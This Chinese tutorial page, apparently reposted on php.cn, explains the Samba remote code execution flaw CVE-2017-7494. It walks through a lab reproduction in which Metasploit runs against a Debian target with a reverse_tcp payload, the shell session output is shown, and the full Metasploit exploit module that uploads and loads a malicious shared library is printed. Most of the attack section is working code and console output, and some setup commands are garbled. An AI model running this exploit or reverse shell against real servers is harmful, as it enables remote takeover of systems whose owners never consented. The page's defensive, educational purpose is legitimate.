0

0

Samba远程代码执行漏洞的实例详解

零下一度

零下一度

发布时间:2017-07-17 11:11:46

|

3748人浏览过

|

来源于php中文网

原创

samba是在linux和unix系统上实现smb协议的一个软件。

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。

漏洞简述

▼▼

漏洞编号:CVE-2017-7494

危害等级:严重

影响版本:Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本

漏洞描述:2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,该漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

技术分析

▼▼

如官方所描述,该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。

Teleporthq
Teleporthq

一体化AI网站生成器,能够快速设计和部署静态网站

下载

一、复现环境搭建

搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162); 靶机:debian (192.168.217.150)。

二、Debian安装并配置samba

1、首先,下载安装samba服务器

# apt-get install samba

2、在debian下创建一个共享目录,我这里为/mnt/shared

# mkdir  /mnt/shared

3、配置samba服务器的配置文件/etc/samba/smb.conf,在最后添加:

[shared]
  comment = 'Share for work'
  path= /mnt/shared
  guest ok = yes
  public = yes
  writable = yes
  create mask = 0777

4、设置/mnt/shared权限

# chmod –R /mnt/sspaned

5、重启samba服务

# /etc/init.d/samba restart

三、设置攻击机kali

打开kali终端进入到metasploit的exploit目录下的linux文件夹,并新建一个smb文件夹,将攻击脚本放入其中:

# cd /usr/share/metasploit-framework/modules/exploits/linux
# mkdir smb
# wget

运行metasploit,开始进行攻击(攻击脚本被我重命名为(cve-2017-7494.rb)

# msfconsole
msf > use exploit/linux/smb/cve-2017-7494
msf exploit(cve-2017-7494) > set rhost 192.168.217.150
rhost => 192.168.217.150
msf exploit(cve-2017-7494) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(cve-2017-7494) > set lhost 192.168.217.162
rhost => 192.168.217.162
msf exploit(cve-2017-7494) > run
[*] Started reverse TCP handler on 192.168.217.162:4444
[*] 192.168.217.150:445 - Using location \\192.168.217.150\shared\ for the path
[*] 192.168.217.150:445 - Payload is stored in //192.168.217.150/shared/ as WzyvkESS.so
[*] 192.168.217.150:445 - Trying location /volume1/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/shared/WzyvkESS.so...
[*] Sending stage (38 bytes) to 192.168.217.150
[*] Command shell session 2 opened (192.168.217.162:4444 -> 192.168.217.150:56540) at 2017-05-26 01:17:48 -0400

id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:6e:9a:4a
inet addr:192.168.217.150 Bcast:192.168.217.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe6e:9a4a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6769 errors:0 dropped:0 overruns:0 frame:0
TX packets:700 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:479898 (468.6 KiB) TX bytes:102796 (100.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:35 errors:0 dropped:0 overruns:0 frame:0
TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3557 (3.4 KiB) TX bytes:3557 (3.4 KiB)

whoami
nobody

POC:

  1 ##  2 # This module requires Metasploit:   3 # Current source:   4 ##  5   6 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load',  7       'Description'    => %q{  8           This module triggers an arbitrary shared library load vulnerability  9         in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module 10         requires valid credentials, a writeable folder in an accessible share, 11         and knowledge of the server-side path of the writeable folder. In 12         some cases, anonymous access combined with common filesystem locations 13         can be used to automatically exploit this vulnerability. 14       }, 15       'Author'         => 16         [ 17           'steelo ',    # Vulnerability Discovery 18           'hdm',                                  # Metasploit Module 19         ], 20       'License'        => MSF_LICENSE, 21       'References'     => 22         [ 23           [ 'CVE', '2017-7494' ], 24           [ 'URL', '' ], 25         ], 26       'Payload'         => 27         { 28           'Space'       => 9000, 29           'DisableNops' => true 30         }, 31       'Platform'        => 'linux', 32       # 33       # Targets are currently limited by platforms with ELF-SO payload wrappers 34       # 35       'Targets'         => 36         [ 37           [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ], 38           [ 'Linux x86',        { 'Arch' => ARCH_X86 } ], 39           [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ], 40         # [ 'Linux MIPS',       { 'Arch' => MIPS } ], 41         ], 42       'Privileged'      => true, 43       'DisclosureDate'  => 'Mar 24 2017', 44       'DefaultTarget'   => 2)) 45  46     register_options( 47       [ 48         OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), 49         OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), 50         OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), 51       ]) 52   end 53  54  55   def generate_common_locations 56     candidates = [] 57     if datastore['SMB_SHARE_BASE'].to_s.length > 0 58       candidates << datastore['SMB_SHARE_BASE'] 59     end 60  61     %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| 62       candidates << base_name 63       candidates << [base_name, @share] 64       candidates << [base_name, @share.downcase] 65       candidates << [base_name, @share.upcase] 66       candidates << [base_name, @share.capitalize] 67       candidates << [base_name, @share.gsub(" ", "_")] 68     end 69  70     candidates.uniq 71   end 72  73   def enumerate_directories(share) 74     begin 75       self.simple.connect("\\\\#{rhost}\\#{share}") 76       stuff = self.simple.client.find_first("\\*") 77       directories = [""] 78       stuff.each_pair do |entry,entry_attr| 79         next if %W{. ..}.include?(entry) 80         next unless entry_attr['type'] == 'D' 81         directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e 82       vprint_error("Enum #{share}: #{e}") 83       return nil 84  85     ensure 86       if self.simple.shares["\\\\#{rhost}\\#{share}"] 87         self.simple.disconnect("\\\\#{rhost}\\#{share}") 88       end 89     end 90   end 91  92   def verify_writeable_directory(share, directory="") 93     begin 94       self.simple.connect("\\\\#{rhost}\\#{share}") 95  96       random_filename = Rex::Text.rand_text_alpha(5)+".txt" 97       filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" 98  99       wfd = simple.open(filename, 'rwct')100       wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e101       vprint_error("Write #{share}#{filename}: #{e}")102       return false103 104     ensure105       if self.simple.shares["\\\\#{rhost}\\#{share}"]106         self.simple.disconnect("\\\\#{rhost}\\#{share}")107       end108     end109   end110 111   def share_type(val)112     [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]113   end114 115   def enumerate_shares_lanman116     shares = []117     begin118       res = self.simple.client.trans(119         "\\PIPE\\LANMAN",120         (121           [0x00].pack('v') +122           "WrLeh\x00"   +123           "B13BWz\x00"  +124124           [0x01, 65406].pack("vv")125         ))126     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e127       vprint_error("Could not enumerate shares via LANMAN")128       return []129     end130     if res.nil?131       vprint_error("Could not enumerate shares via LANMAN")132       return []133     end134 135     lerror, lconv, lentries, lcount = res['Payload'].to_s[136       res['Payload'].v['ParamOffset'],137       res['Payload'].v['ParamCount']138     ].unpack("v4")139 140     data = res['Payload'].to_s[141       res['Payload'].v['DataOffset'],142       res['Payload'].v['DataCount']143     ]144 145     0.upto(lentries - 1) do |i|146       sname,tmp = data[(i * 20) +  0, 14].split("\x00")147       stype     = data[(i * 20) + 14, 2].unpack('v')[0]148       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]149       scoff -= lconv if lconv != 0150       scomm,tmp = data[scoff, data.length - scoff].split("\x00")151       shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e152       vprint_error("Probe: #{path}: #{e}")153     end154   end155 156   def find_writeable_path(share)157     subdirs = enumerate_directories(share)158     return unless subdirs159 160     if datastore['SMB_FOLDER'].to_s.length > 0161       subdirs.unshift(datastore['SMB_FOLDER'])162     end163 164     subdirs.each do |subdir|165       next unless verify_writeable_directory(share, subdir)166       return subdir167     end168 169     nil170   end171 172   def find_writeable_share_path173     @path = nil174     share_info = enumerate_shares_lanman175     if datastore['SMB_SHARE_NAME'].to_s.length > 0176       share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']177     end178 179     share_info.each do |share|180       next if share.first.upcase == 'IPC$'181       found = find_writeable_path(share.first)182       next unless found183       @share = share.first184       @path  = found185       break186     end187   end188 189   def find_writeable190     find_writeable_share_path191     unless @share && @path192       print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")193       fail_with(Failure::NoTarget, "No matching target")194     end195     print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")196   end197 198   def upload_payload199     begin200       self.simple.connect("\\\\#{rhost}\\#{@share}")201 202       random_filename = Rex::Text.rand_text_alpha(8)+".so"203       filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"204       wfd = simple.open(filename, 'rwct')205       wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}206       )207       wfd.close208 209       @payload_name = random_filename210       return true211 212     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e213       print_error("Write #{@share}#{filename}: #{e}")214       return false215 216     ensure217       if self.simple.shares["\\\\#{rhost}\\#{@share}"]218         self.simple.disconnect("\\\\#{rhost}\\#{@share}")219       end220     end221   end222 223   def find_payload224     print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")225 226     # Reconnect to IPC$227     simple.connect("\\\\#{rhost}\\IPC$")228 229     #230     # In a perfect world we would find a way make IPC$'s associated CWD231     # change to our share path, which would allow the following code:232     #233     # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")234     #235 236     # Until we find a better way, brute force based on common paths237     generate_common_locations.each do |location|238       target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')239       print_status("Trying location #{target}...")240       probe_module_path(target)241     end242   end243 244   def exploit245     # Setup SMB246     connect247     smb_login248 249     # Find a writeable share250     find_writeable251 252     # Upload the shared library payload253     upload_payload254 255     # Find and execute the payload from the share256     find_payload rescue Rex::StreamClosedError257 258     # Shutdown259     disconnect260   end261 262 end

 

相关专题

更多
Java JVM 原理与性能调优实战
Java JVM 原理与性能调优实战

本专题系统讲解 Java 虚拟机(JVM)的核心工作原理与性能调优方法,包括 JVM 内存结构、对象创建与回收流程、垃圾回收器(Serial、CMS、G1、ZGC)对比分析、常见内存泄漏与性能瓶颈排查,以及 JVM 参数调优与监控工具(jstat、jmap、jvisualvm)的实战使用。通过真实案例,帮助学习者掌握 Java 应用在生产环境中的性能分析与优化能力。

19

2026.01.20

PS使用蒙版相关教程
PS使用蒙版相关教程

本专题整合了ps使用蒙版相关教程,阅读专题下面的文章了解更多详细内容。

61

2026.01.19

java用途介绍
java用途介绍

本专题整合了java用途功能相关介绍,阅读专题下面的文章了解更多详细内容。

87

2026.01.19

java输出数组相关教程
java输出数组相关教程

本专题整合了java输出数组相关教程,阅读专题下面的文章了解更多详细内容。

39

2026.01.19

java接口相关教程
java接口相关教程

本专题整合了java接口相关内容,阅读专题下面的文章了解更多详细内容。

10

2026.01.19

xml格式相关教程
xml格式相关教程

本专题整合了xml格式相关教程汇总,阅读专题下面的文章了解更多详细内容。

13

2026.01.19

PHP WebSocket 实时通信开发
PHP WebSocket 实时通信开发

本专题系统讲解 PHP 在实时通信与长连接场景中的应用实践,涵盖 WebSocket 协议原理、服务端连接管理、消息推送机制、心跳检测、断线重连以及与前端的实时交互实现。通过聊天系统、实时通知等案例,帮助开发者掌握 使用 PHP 构建实时通信与推送服务的完整开发流程,适用于即时消息与高互动性应用场景。

19

2026.01.19

微信聊天记录删除恢复导出教程汇总
微信聊天记录删除恢复导出教程汇总

本专题整合了微信聊天记录相关教程大全,阅读专题下面的文章了解更多详细内容。

160

2026.01.18

高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

164

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP安全与漏洞
PHP安全与漏洞

共12课时 | 2.2万人学习

CSS3 教程
CSS3 教程

共18课时 | 4.7万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号